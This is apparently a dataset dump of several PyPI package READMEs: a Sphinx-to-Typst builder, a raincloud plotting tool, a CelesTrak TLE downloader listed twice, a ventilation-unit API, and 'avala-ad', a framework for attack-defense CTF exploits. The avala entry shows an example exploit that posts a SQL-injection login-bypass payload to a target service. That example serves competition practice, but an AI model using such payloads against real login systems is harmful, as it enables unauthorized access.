semvec/pypi-packages huggingface dataset:
atsphinx-typst 0.0.5
Generate Typst sources and PDF from Sphinx document.
Requires Python: >=3.10

==============
atsphinx-typst
==============

Faster PDF generator from Sphinx document using Typst.

Features
========

* Provide ``typst`` and ``typstpdf`` builder
  to generate Typst document (and PDF) from doctree.
* TODO: Provide utility directives and roles for Typst syntax.

Getting started
===============

.. code:: console

   pip install atsphinx-typst
   # If you also want to build PDF, install with extra 'pdf'
   pip install 'atsphinx-typst[pdf]'

You can run ``typst`` and ``typstpdf`` builder without set it into extensions.

.. code:: console

    # To generate Typst document.
    make typst
    # To generate Typst document and PDF from document.
    make typstpdf

Milestones
==========

v0.1 (for working)
------------------

* Supports core directives and roles.
* ✅ Supports generating PDF using ``typst`` python project.
* ✅ Gnerate PDF file of this project's project.

v1.0 (for stable)
-----------------

* Use for PDF of sphinx-revealjs's documentation.
* Publish my private tech ZINE.
DrawTool 1.0.0
A tool for creating raincloud plots
Requires Python: >=3.7

# DrawTool
This is a drawing tool.

## 云雨图
### 特点：
1. 数据分布：展示每个特征的数据分布；
2. 中心趋势： 结合箱线图和散点图，展示数据分布的趋势；
3. 异常值： 显示数据分布的异常值；
4. 特征比较： 适合比较多个特征之间的数据分布。

### Usage
```python
import pandas as pd 
import numpy as np 
from drawbox import cloudrain

np.random.seed(42) 
data = pd.DataFrame({ 
    'Group A': np.random.normal(0, 1, 100), 
    'Group B': np.random.normal(2, 1.5, 100), 
    'Group C': np.random.normal(-1, 0.5, 100), 
    'Group D': np.random.normal(1, 2, 100) 
})
categories = ['Group A', 'Group B', 'Group C', 'Group D']

custom_colors = ['#FF6B6B', '#4ECDC4', '#45B7D1', '#96CEB4'] 
cloudrain(
    data, 
    categories, 
    colors=custom_colors, 
    figsize=(12, 8), 
    save_path='raincloud_plot.png'
)
```



## License
MIT
charon_tle 0.2.0
A tool for downloading and processing TLE data from CelesTrak
Requires Python: >=3.8

# Charon

A Python tool for downloading and processing TLE (Two-Line Element) data from CelesTrak.

## Features

- Download TLE data from CelesTrak for various satellite constellations
- Extract catalog IDs from TLE data
- Filter satellites with DTC (Direct to Cell) capability
- Filter TLE data by specific catalog IDs
- Support for custom URLs
- Command-line interface and Python API

## Installation

```bash
pip install charon_tle
``` 

# Quick Start

# Python API Usage

```python
from charon import CharonTLE

# Initialize
charon = CharonTLE()

# Download TLE data
tle_content = charon.download_tle('starlink')

# Extract all catalog IDs
cat_ids = charon.extract_catid(tle_content)
print(f"Found {len(cat_ids)} satellites")

# Extract DTC catalog IDs
dtc_ids = charon.extract_catid(tle_content, keyword='DTC')  
print(f"Found {len(dtc_ids)} DTC satellites")

# Filter by catalog IDs
filtered_tle = charon.filter_tle_by_catid(tle_content, ['58705', '58706'])

# Save to file
charon.save_tle(filtered_tle, 'filtered.tle')

# Use custom URL
custom_tle = charon.download_tle('custom', 
    custom_url='https://celestrak.org/NORAD/elements/gp.php?GROUP=oneweb&FORMAT=tle')
print(custom_tle)
```

# dev 

```bash
uv add --dev pytest pytest-cov black isort flake8
```
charon-tle 0.1.0
A tool for downloading and processing TLE data from CelesTrak
Requires Python: >=3.8

# Charon

A Python tool for downloading and processing TLE (Two-Line Element) data from CelesTrak.

## Features

- Download TLE data from CelesTrak for various satellite constellations
- Extract catalog IDs from TLE data
- Filter satellites with DTC (Direct to Cell) capability
- Filter TLE data by specific catalog IDs
- Support for custom URLs
- Command-line interface and Python API

## Installation

```bash
pip install charon-tle
``` 

# Quick Start

# Python API Usage

```python
from charon import CharonTLE

# Initialize
charon = CharonTLE()

# Download TLE data
tle_content = charon.download_tle('starlink')

# Extract all catalog IDs
cat_ids = charon.extract_catid(tle_content)
print(f"Found {len(cat_ids)} satellites")

# Extract DTC catalog IDs
dtc_ids = charon.extract_catid(tle_content, keyword='DTC')  
print(f"Found {len(dtc_ids)} DTC satellites")

# Filter by catalog IDs
filtered_tle = charon.filter_tle_by_catid(tle_content, ['58705', '58706'])

# Save to file
charon.save_tle(filtered_tle, 'filtered.tle')

# Use custom URL
custom_tle = charon.download_tle('custom', 
    custom_url='https://celestrak.org/NORAD/elements/gp.php?GROUP=oneweb&FORMAT=tle')
print(custom_tle)
```

# Supported Constellations

starlink
oneweb
iridium
globalstar
orbcomm
swarm
planet
spire
avala-ad 0.1.0
Avala client for writing and running exploits
Requires Python: >=3.11

# ⛰️ Avala — Develop and run exploits rapidly in A/D

<img src="https://raw.githubusercontent.com/dusanlazic/avala/refs/heads/develop/docs/docs/assets/logo.svg" width="300">

**Avala** is a specialized tool built for rapid developing, testing, running and monitoring exploits in attack-defense CTF competitions. The goal of Avala is to take the technical burden off the team players, enabling them to focus on writing exploits and patching vulnerabilities.

```py
from avala import exploit
import json
import requests


@exploit(service="foobar")
def attack(target: str, flag_ids: str):
    url = f"http://{target}:5000/login"
    username = json.loads(flag_ids)["username"]

    payload = {"username": username, "password": "' OR 1=1 --"}
    response = requests.post(url, json=payload)

    return response.text
```

The development of Avala was heavily influenced by the practical experiences and valuable insights gathered by the **Serbian National ECSC Team** 🇷🇸 who utilized the tool in many A/D competitions.

## Documentation

Documentation is available at [lazicdusan.com/avala](https://lazicdusan.com/avala).
pysmarty2 0.10.3
Python API for Salda Smarty Modbus TCP

# pysmarty2

Python API for Salda Smarty 2X/3X/4X P/V Ventilation Unit. This is used in [Home Assistant](https://home-assistant.io).

This package, `pysmarty2`, is a fork of the original [`pysmarty`](https://github.com/z0mbieprocess/pysmarty) created by [z0mbieprocess](https://github.com/z0mbieprocess).

The package was renamed to `pysmarty2` to allow for publishing it to PyPI without conflicting with the existing `pysmarty` package.

## Install

```bash
pip install pysmarty2
```

## Publish

1. Make sure that `setup.py` is updated with the new version, commit and push it before version is tagged.
2. Tag the new version.
3. Start python container:

```sh
docker run --rm -it -v $(pwd):/pystmarty2 python:3.13 bash
```

4. Then from within container run:

```sh
cd /pystmarty2
pip install build twine
python -m build
twine upload dist/*
```

## Acknowledgments

Please give credit to the original author for their work on `pysmarty`. This fork was created to make minor modifications and improvements, but the majority of the work remains the original author's.